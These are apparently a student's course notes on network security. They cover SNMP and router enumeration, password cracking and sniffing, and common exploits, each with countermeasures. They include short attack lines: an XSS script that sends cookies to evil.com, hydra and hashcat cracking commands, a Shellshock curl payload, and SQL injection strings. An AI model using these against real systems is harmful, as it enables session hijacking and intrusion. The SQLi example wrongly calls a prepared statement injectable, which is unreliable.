National Forensic Sciences University

Knowledge | Wisdom | Fulfilment

An Institution of National Importance
(Ministry of Home Affairs, Government of India)

INFORMATION & NETWORK SECURITY

Dr. Rashi Chaudhary

Dayananda Bindhani
B.Tech-M.Tech CSE (Cyber Security)
022200300004018

TABLE OF CONTENTS

1. SNMP SERVICES ENUMERATION & COUNTERMEASURES

SNMP

Simple Network Management Protocol (SNMP) is a protocol used in TCP/IP networks to collect and manage information about networked devices.

- It operates on UDP port 161 to listen for requests.
- It operates in the application layer 7 of the OSI model.
- The SNMP protocol is supported by many types of devices including routers, switches, servers, printers, Network Attached Storage (NAS), firewalls, WLAN controllers and more.

1. SNMP SERVICES ENUMERATION & COUNTERMEASURES

SNMP Components

- *Managed Device*
  A managed device is a network device with the SNMP service enabled allowing unidirectional (read) or bidirectional (read/write) communication.
- *Agent*
  The agent is the software running on the managed device which is responsible for handling the communication. The agent translates device-specific configuration parameters into an SNMP format for the Network Management System.
- *Network Management System (NMS)*
  The Network Management System is the software that is actually managing and monitoring networked devices.

1. SNMP SERVICES ENUMERATION & COUNTERMEASURES

SNMP Management Information Base (MIB)

- The SNMP Management Information Base (MIB) is a database that contains information about the network device.
- When the Network Management System (NMS) sends a ‘get’ request for information about a managed device on the network, the agent service returns a structured table with data.
- This table is what is called the Management Information Base (MIB).

MIB values are indexed using a series of numbers with dots. For example, MIB value 1.3.6.1.2.1.1.1 refers to the system description (sysDescr) and value 1.3.6.1.2.1.1.6 refers to the system location (sysLocation).

1. SNMP SERVICES ENUMERATION & COUNTERMEASURES

SNMP Commands

- Read commands are sent by the NMS to nodes for monitoring purposes.
- Write commands are used to control the nodes in the network.
- The trap commands are used for unsolicited SNMP messages from a device's agent to the NMS to inform the NMS about certain events such as errors.
- Traversal commands are used to check what information is retained on a managed device and to retrieve it.

- e.g., *snmpstart, snmpget, snmpgetnext, snmpset, snmpsync, snmpwait, snmpend.*

1. SNMP SERVICES ENUMERATION & COUNTERMEASURES

SNMP Enumeration (SNMPwalk)

SNMPwalk is a great tool to query MIB values to retrieve information about managed devices, but, as a minimum, it requires a valid SNMP read-only community string.

Features

- Supports SNMP v1/v2c and SNMPv3
- Supports IPv4 and IPv6
- Full or partial SNMP variables tree
- Exports to CSV file
- Any type of SNMP variables
- Various Auth. & Privacy protocols

Examples

- SnmpWalk -r:MainRouter -csv > output_file.csv
- SnmpWalk -r:10.0.0.1 -t:10 -c:"admin_rw" -os:.1.3.6.1.2.1.1
- snmpwalk -c public -v1 $ip

Basic Format

snmpwalk -v1 -c <community string> <ip_address>

1. SNMP SERVICES ENUMERATION & COUNTERMEASURES

SNMP Enumeration (OneSixtyOne)

Onesixtyone is a very fast tool to brute force SNMP community strings and take advantage of the connectionless protocol. Onesixtyone sends an SNMP request and (by default) waits 10 milliseconds for a response. If the community string sent by onesixtyone to the SNMP enabled device is invalid, then the request is dropped.

Features

- SNMP Scanning: Scans for SNMP-enabled devices.
- Community String Discovery: Identifies SNMP community strings.
- Information Retrieval: Retrieves system information and other SNMP data.

Basic Format:- onesixtyone [options] <host> <community>

E.g., onesixtyone 192.168.4.0/24 public, onesixtyone -c dict.txt -i hosts -o my.log -w 100

1. SNMP SERVICES ENUMERATION & COUNTERMEASURES

SNMP Enumeration (nmap)

- **Script snmp-info**

  Extracts basic information from an SNMPv3 GET request. The same probe is used here as in the service version detection scan.

  ### Script Arguments

  snmp.retries, snmp.timeout, snmp.version, creds.[service], creds.global

  ### Basic Format

  nmap -sV <target>

  E.g., nmap -sV -p 161 --script=snmp* 192.168.1.7

1. SNMP SERVICES ENUMERATION & COUNTERMEASURES

SNMP Countermeasures

- Remove the SNMP agent or turn off the SNMP service. If shutting off SNMP is not an option, then change the default community string names.
- Upgrade to an SNMP version, that encrypts passwords and messages.
- Implement the Group Policy security option called “Additional restrictions anonymous connections”.
- Ensure that the access to null session pipes, null session shares, and IPSec filtering is restricted.
- Block access to TCP/UDP ports 161.
- In Windows, do not install the management and monitoring component unless it is required (use more effective methods i.e a SIEM).
- Encrypt or authenticate using IPSEC.

2. ROUTING DEVICES ENUMERATION & COUNTERMEASURES

Router Console Access Enumeration

Access via Telnet/SSH to the router's CLI may allow an attacker to enumerate IOS/firmware version, hostname, ARP cache, routing table, configured VLANs, and interface IPs with common show commands (e.g., show running-config, show ip route, show interfaces).

Examples for Cisco IOS via SSH

```
show running-config        # Dumps current configuration (requires privilege)
show version               # Reveals IOS version, uptime, hardware
show interfaces            # Lists all interfaces with IPs, MAC
show ip route              # Shows routing table entries
show vlan                  # Lists VLAN configuration
show users                 # Active CLI sessions
```

2. ROUTING DEVICES ENUMERATION & COUNTERMEASURES

Network Mapping and Traceroute

Traceroute/tracert is fundamental for mapping network infrastructure. By incrementing TTLs, attackers map hops, identify filtering routers, and can guess interior IP ranges or access-control mechanisms based on hop behavior.

Basic Format

traceroute <ip_address/cidr>

Example

```
traceroute google.com              # IPv4
traceroute -6 ipv6.google.com      # IPv6
traceroute -g gatewayIP target.com  # Route via gateway
traceroute -m 5 8.8.8.8            # Set max hops (TTL=5)
```

2. ROUTING DEVICES ENUMERATION & COUNTERMEASURES

ARP and MAC Table Enumeration

using tools like **arp-scan**, to enumerate connected devices, segment boundaries, and active hosts. MAC table queries on Layer-3 switches and routers using SNMP also reveal device manufacturers, which aids fingerprinting for specific exploitation.

Show ARP table

```
arp -a
```

Show routes

```
ip route
```

Network scan for ARP

```
arp-scan --interface=eth0 192.168.1.0/24
```

2. ROUTING DEVICES ENUMERATION & COUNTERMEASURES

Routing Devices Countermeasures

- Disable SNMP or upgrade to SNMPv3 and use strong, unique community strings.
- Restrict management access to routers by allowing logins only from trusted IPs and networks.
- Use SSH with key-based authentication; disable or block Telnet everywhere.
- Implement AAA (Authentication, Authorization, Accounting) and enforce command authorization for all admin access.
- Regularly patch and update router firmware and audit enabled services/protocols, disabling those not needed.
- Segment management interfaces into isolated networks and monitor all access attempts and SNMP queries using SIEM/logging tools.
- Block unused ports (including UDP/161 for SNMP), deploy egress filtering, and monitor for unauthorized or suspicious traffic.

3. PASSWORD CRACKING

Definition

Password cracking is the process of using an application program to identify an unknown or forgotten password that allows access to a computer or network resource.

Goal: The main goal of password cracking is to determine and unscramble a password, often for malicious purposes. The password may belong to a user or to an admin.

Techniques:

- Brute Force
- Dictionary search
- Credential stuffing
- Malware
- Phishing
- Rainbow table

3. PASSWORD CRACKING

Techniques

Brute force attack

In cryptography, a brute-force attack or exhaustive key search is a cryptanalytic attack that consists of an attacker submitting many possible keys or passwords with the hope of eventually guessing correctly.

- This technique involves trying every possible combination of characters until the correct password is found.
- Brute force attacks are resource-intensive and time-consuming but can be effective if the password is weak or short.

E.g., using hashcat (hashcat -m 100 -a 0 victim-hash.txt rockyou.txt)

3. PASSWORD CRACKING

Techniques

Dictionary search

a dictionary attack is an attack using a restricted subset of a keyspace to defeat a cipher or authentication mechanism by trying to determine its decryption key or passphrase, sometimes trying thousands or millions of likely possibilities often obtained from lists of past security breaches.

- In this method, a list of commonly used passwords or words from a dictionary is usec to attempt to gain access to an account.
- These lists can be created manually or obtained from previous data breaches.

E.g., hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

3. PASSWORD CRACKING

Techniques

Rainbow-table attack

A rainbow table is a pre computed table for caching the outputs of a cryptographic hash function, usually for cracking password hashes. Passwords are typically stored not in plain text form, but as hash values.

- Rainbow tables are pre computed tables used for reversing cryptographic hash functions to obtain the plaintext password from its hash.
- This technique can significantly speed up the process of password cracking, especially for weaker passwords.
- However, it requires a considerable amount of storage space to store the tables.

E.g., Using a pre-computed rainbow table (e.g., via tools like RainbowCrack) to reverse a stolen hash rather than regenerating all possibilities.

3. PASSWORD CRACKING

Techniques

Phishing attack

Phishing is a form of social engineering and a scam where attackers deceive people into revealing sensitive information or installing malware such as viruses, worms, adware, or ransomware.

- Phishing involves tricking users into providing their passwords by posing as a legitimate entity, such as a bank or a social media platform.
- Phishing attacks often use deceptive emails, websites, or messages to trick users into entering their login credentials.

E.g., Use something like Social Engineering Toolkit (SET) on Kali, or a simulated phishing-platform environment.

3. PASSWORD CRACKING

Techniques

Keylogging attack

Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording (logging) the keys pressed on a keyboard, typically covertly, so that a person using the keyboard is unaware that their actions are being monitored. Data can then be retrieved by the person operating the logging program.

- Keyloggers are malicious software or hardware that record keystrokes on a computer or device.
- Attackers can use keyloggers to capture passwords as users type them, without their knowledge.

E.g., A malicious DLL installs a global keyboard hook via SetWindowsHookEx(WH_KEYBOARD_LL) to capture every keystroke and exfiltrate credentials.

3. PASSWORD CRACKING

Safety Measures

- Use long, randomly generated passphrases (e.g., ≥ 12 characters, mix of upper/lower case, numbers & symbols) rather than simple words or predictable patterns.
- Enable Multi-Factor Authentication (MFA) for all accounts, so that even if a password is cracked, the attacker still lacks the second factor.
- Do not reuse passwords across different accounts — unique credentials mean a cracked password won't cascade into other systems.
- Limit login attempts and apply rate-limiting or account lock-out after a few failed tries, to inhibit brute force or dictionary attacks.
- Ensure passwords (and their hashes) are stored and transmitted securely: use strong hashing (bcrypt/Argon2), unique salts, and always use encrypted channels (TLS/SSH).
- Monitor for credential leaks (breach notifications), enable alerts on suspicious login activity, and force password changes when a compromise is suspected.

4. SNIFFING PASSWORD HASHES

Password Sniffing

Password sniffing is a network attack where an attacker intercepts data packets to capture passwords. This is typically done using tools that monitor network traffic without altering it.

Techniques

Password sniffing is a covert method used by attackers to capture passwords as they traverse a network. This technique involves monitoring network traffic to intercept sensitive information without altering the data packets.

- **Passive Wiretapping:** Monitoring network traffic without generating any traffic, making it difficult to detect.
- **ARP Poisoning:** Redirecting network traffic to intercept communications and capture passwords.
- **Cleartext Vulnerability:** Exploiting networks that transmit unencrypted passwords.
- **Sniffer Tools:** Wireshark and Ettercap to capture and analyze network packets.

4. SNIFFING PASSWORD HASHES

Signs of Password Sniffing Attacks

Detecting password sniffing attacks can be challenging due to their covert nature. However, there are several signs that may indicate such an attack is occurring on your network. Being aware of these signs can help in early detection and mitigation.

- **Unusual Network Traffic:** Sudden spikes or irregular patterns in network traffic.
- **Unexpected Login Attempts:** Frequent failed login attempts or logins from unfamiliar locations.
- **Unauthorized Devices:** Detection of unknown devices connected to the network.
- **Presence of Sniffing Tools:** Discovery of software like Wireshark or Ettercap on network devices.
- **Altered Network Configurations:** Changes in network settings or configurations without authorization.

5. PASSWORD PROTECTION

Description

Password protection is an access control technique that helps keep important data safe from hackers by ensuring it can only be accessed with the right credentials.

Importance

- Passwords remain an effective solution for identity-based access control of digital assets when considering cost, security benefits, and ease of use and management.
- Password security systems are used not just to protect data but also to verify and establish identity for personalized features and account access.
- Stolen credentials are commonly used by cyberattackers to deliver malware. For this reason, it's important to adopt password security best practices.

5. PASSWORD PROTECTION

Best Practices

Embed security in training and culture
Using and managing passwords has become a challenge for users as well as IT and security teams. Protection from cyberattacks is only as strong as the weakest link.

Change passwords frequently
Requiring users to change passwords on a regular basis is one of the easiest and most effective ways to increase the security of passwords. Enterprise management systems can require users to change passwords on a set schedule.

Safely store passwords
A password manager is an app that generates complex passwords and stores them in an encrypted format. The advantage of a password manager is that it remembers and autofills passwords and can suggest long, difficult-to-crack random passwords.

5. PASSWORD PROTECTION

Best Practices

Create long, complex passwords
Passwords should be at least 10 characters in length. They should also contain a combination of upper and lowercase letters, numbers, and special characters.

Deploy multi-factor authentication
Multi-factor authentication (MFA) is a security process that requires users to respond to requests to verify their identities before they can access networks or other online applications.

Use biometric passwords
Instead of having users store or remember complex passwords, biometric passwords provide physical proof of identities using devices that scan attributes such as fingerprints, faces, and voices.

6. VULNERABILITY EXPLOITATION

Vulnerability in Information security

Vulnerabilities are **weaknesses in a system** that give threats the opportunity to compromise an individual's or an organisation's assets.

Type of Vulnerabilities

1. **Hardware Vulnerability:** Weaknesses or flaws in physical devices (like computers or routers) that hackers can exploit to gain unauthorized access or cause damage.
2. **Software Vulnerability:** Flaws or bugs in software (such as apps or operating systems) that can be used by hackers to compromise the system, often due to coding mistakes or outdated software.
3. **Network Vulnerability:** A network vulnerability is a weakness or flaw in the design, implementation, or configuration of a computer network that attackers can exploit to gain unauthorized access, steal data, or disrupt services.
4. **Procedural Vulnerability:** Weaknesses in the processes or rules organizations follow, like using default passwords or failing to monitor activities.

6. VULNERABILITY EXPLOITATION

Exploit of a vulnerability

- Exploiting vulnerabilities involves taking advantage of weaknesses in software, hardware, or configuration to gain unauthorized access, execute arbitrary code, or perform malicious actions.
- Vulnerability Exploitation refers to the act of taking advantage of weaknesses or security flaws in a system, application, or network to gain unauthorized access, steal data, or disrupt operations. This exploitation can be carried out through various means, such as injecting malicious code, exploiting misconfigured settings, or leveraging software vulnerabilities.
- The goal of vulnerability exploitation is typically to compromise the confidentiality, integrity, or availability of information and resources within the targeted system or network.
- Cyber attackers often exploit vulnerabilities to execute cyber-attacks, such as malware infections, data breaches, or denial-of-service attacks.

6. VULNERABILITY EXPLOITATION

SQL Injection (SQLi)

- SQL Injection remains a highly exploited vulnerability, allowing attackers to manipulate backend databases by injecting malicious SQL statements through input fields.
- This can lead to data theft, privilege escalation, or system control.

E.g., In the MOVEit Transfer breach (May 2023), attackers exploited a zero-day SQLi flaw to install a custom web shell and exfiltrate organizational data.

```
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE email = ?");
stmt.setString(1, userInput);
```

If ***userInput*** isn't sanitized, attackers could input:

```
' OR '1'='1
```

6. VULNERABILITY EXPLOITATION

Cross-Site Scripting (XSS)

- XSS vulnerabilities occur when untrusted data is injected into web pages without proper sanitization, enabling attackers to run arbitrary JavaScript in users' browsers.
- In early 2025, attackers exploited an XSS flaw in the Krpano framework, injecting scripts into hundreds of websites, redirecting users, and spamming search results.

<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

Thus, when a user loads the page, their cookie data is sent to the attacker, who might then hijack the session.

6. VULNERABILITY EXPLOITATION

Buffer Overflow

- A buffer overflow overwhelms a memory buffer, potentially crashing the program or executing arbitrary code.
- This was a classic exploit path in older Windows systems for privilege escalation.
- Attackers might supply crafted input that overwrites a function's return address with shell code, granting attacker control over the system.
- Real-world exploits involve manipulating program stack structures to redirect execution flow.

6. VULNERABILITY EXPLOITATION

Remote Code Execution via CVE Exploits

- **CVE-2012-1723 (Java RCE):** This Java Runtime Environment flaw allows a rogue Java applet (on a crafted webpage or document) to escape the Java sandbox and run arbitrary code on target systems. The famed “Flashback” Trojan exploited this flaw to infect Apple computers.
- **CVE-2021-34473 (ProxyShell - Microsoft Exchange):** Involves chaining multiple vulnerabilities in Exchange Server to bypass authentication and execute code as a privileged user, commonly via exposed port 443. Threat actors deploy web shells after exploitation, gaining persistent access for lateral movement, data theft, or malware installation.

6. VULNERABILITY EXPLOITATION

Shellshock (CVE-2014-6271)

This Bash bug allows attackers to execute commands by injecting malformed environment variables into vulnerable systems that invoke Bash scripts.

curl -H "User-Agent: () { :;}; /bin/bash -c 'echo hacked > /tmp/pwned'"
http://vulnerable-target/cgi-bin/script.sh

If the underlying script incorrectly invokes Bash, the payload after :; gets executed, compromising the server.

6. VULNERABILITY EXPLOITATION

Man-in-the-Middle (MitM) Attacks

- An attacker intercepts communication by exploiting insecure network configurations.
- For example, intercepting unencrypted Wi-Fi traffic, using DNS spoofing, or hijacking user sessions are common MitM tactics.
- In significant heists like the 2016 Bangladesh Bank incident, social engineering and MitM tactics were combined for fraudulent transactions worth $81 million.

6. VULNERABILITY EXPLOITATION

Attack Type	Description	Typical Impact	Example Scenario
SQL Injection	Injecting malicious SQL code into input to manipulate or extract data from databases	Data theft, modification, unauthorized access	' OR '1'='1' bypasses authentication
Cross-Site Scripting (XSS)	Injecting malicious scripts into webpages viewed by others to hijack sessions or steal info	Credential theft, user impersonation, malware	Malicious JavaScript in a comment steals cookies
Buffer Overflow	Writing more data than buffer size allows, overwriting memory to execute attacker code	System compromise, arbitrary code execution	Overflow in input buffer lets attacker run shellcode
Social Engineering	Manipulating people to disclose confidential info, often impersonation	Credential theft, fraud, unauthorized access	Phishing email impersonating IT admin
Denial of Service (DoS)	Flooding a service with excessive traffic to make it unavailable	Service downtime, loss of availability	Botnet launches massive traffic to crash a website

7. BUFFER OVERFLOW

Description

A buffer overflow attack takes place when an attacker manipulates the coding error to carry out malicious actions and compromise the affected system. The attacker alters the application's execution path and overwrites elements of its memory, which amends the program's execution path to damage existing files or expose data.

A buffer overflow vulnerability will typically occur when code:

- Is reliant on external data to control its behavior
- Is dependent on data properties that are enforced beyond its immediate scope
- Is so complex that programmers are not able to predict its behavior accurately

7. BUFFER OVERFLOW

Types

- **Stack-based buffer overflows**: This is the most common form of buffer overflow attack. The stack-based approach occurs when an attacker sends data containing malicious code to an application, which stores the data in a stack buffer. This overwrites the data on the stack, including its return pointer, which hands control of transfers to the attacker.
- **Heap-based buffer overflows**: A heap-based attack is more difficult to carry out than the stack-based approach. It involves the attack flooding a program's memory space beyond the memory it uses for current runtime operations.
- **Format string attack**: A format string exploit takes place when an application processes input data as a command or does not validate input data effectively. This enables the attacker to execute code, read data in the stack, or cause segmentation faults in the application.

7. BUFFER OVERFLOW

Prevention

- **Address space layout randomization (ASLR)**: Buffer overflow attacks typically need to know where executable code is located. ASLR moves at random around locations of data regions to randomize address spaces, which makes overflow attacks almost impossible.
- **Data execution prevention**: This method prevents an attack from being able to run code in non-executable regions by flagging areas of memory as executable or non-executable.
- **Structured exception handling overwrite protection (SEHOP)**: Attackers may look to overwrite the structured exception handling (SEH), which is a built-in system that manages hardware and software exceptions. They do this through a stack-based overflow attack to overwrite the exception registration record, which is stored on the program's stack. SEHOP prevents attackers' malicious code from being able to attack the SEH and use its overwrite exploitation technique.